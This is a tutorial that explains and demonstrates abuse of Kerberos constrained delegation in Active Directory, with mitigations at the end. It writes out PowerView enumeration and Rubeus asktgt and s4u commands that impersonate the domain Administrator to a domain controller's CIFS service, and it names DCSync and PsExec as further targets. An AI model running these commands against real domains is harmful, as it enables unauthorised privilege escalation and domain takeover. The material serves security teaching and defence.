Let us break down, arguably the most complex of the three delegation type attacks.

Constrained delegation allows you to configure which services an account can delegate to, which can possibly limit the potential exposure if a compromise occurred

When constrained delegation is set on an account:

  • The userAccountControl (defines the type of delegation) attribute for the object gets updated with the “TRUSTED_TO_AUTH_FOR_DELEGATION” (T2A4D) flag.
    This allows S4u2self, meaning that a service account can obtain a TGS for itself on behalf of any other user by using the NTLM password hash. It allows the service to impersonate the domain.
  • The msDS-AllowedToDelegateTo attribute contains the SPNs that are allowed to user (S4u2proxy), meaning that a service account obtains a TGS on behalf of any user to the service.

Doesn’t need to have set both properties. If s4u2proxy is allowed without s4u2self, user interaction is required to get a valid TGS.

To abuse constrained delegation, you need to compromise the password or hash of an account that is configured with constrained delegation to a service. Once that occurs, you can possibly impersonate any user in the environment to access that service. By that you won’t only have access to the service that the user is able to impersonate, but also to any service that uses the same account as the allowed one.

User Account Configured For Constrained Delegation

If you have compromised the plaintext password or the hash for a user account that has constrained delegation enabled, you can request a TGT, execute the S4U TGS request, and then access the target service.

Enumeration with PowerView

Get-DomainUser -TrustedToAuth
Graphical user interface, text, applicationDescription automatically generated

The user: constrained.user is trusted to delegate and authenticate to CIFS service on First-DC on behalf of any user

Requesting a TGT for the user account with constrained delegation enabled:

.\Rubeus.exe asktgt /user:constrained.user /password:Password@1 /outfile:constrained-user.kirb
TextDescription automatically generated

Using the Rubeus s4u module to obtain a TGS of the Administrator user to self:

.\Rubeus.exe s4u /ticket:constrained-user.kirbi /impersonateuser:Administrator /msdsspn:cifs/First-DC.first.local /ptt
TextDescription automatically generated

Now as we see in memory with klist we have impersonated a TGS ticket for the administrator account and if we attempt to access the file system of First-DC we can confirm that we have impersonated the domain administrator account that can authenticate to CIFS service

TextDescription automatically generated

In this example, we requested a TGS for the CIFS service, but we can also request TGS tickets for HTTP (WinRM), LDAP (DCSync), HOST (PsExec shell), MSSQLSvc (DB admin rights)

Mitigations

One way to protect yourself is to put sensitive accounts that should not be delegated in the Protected Users group, and configure them to be ‘Account is sensitive and cannot be delegated’. Also, limit domain admin logins to specific services and keep delegation servers secured by patching them and setting firewall rules according to server purpose and delegation configuration giving limited privileged access.

It’s important to use strong passwords for the service accounts trusted for delegation.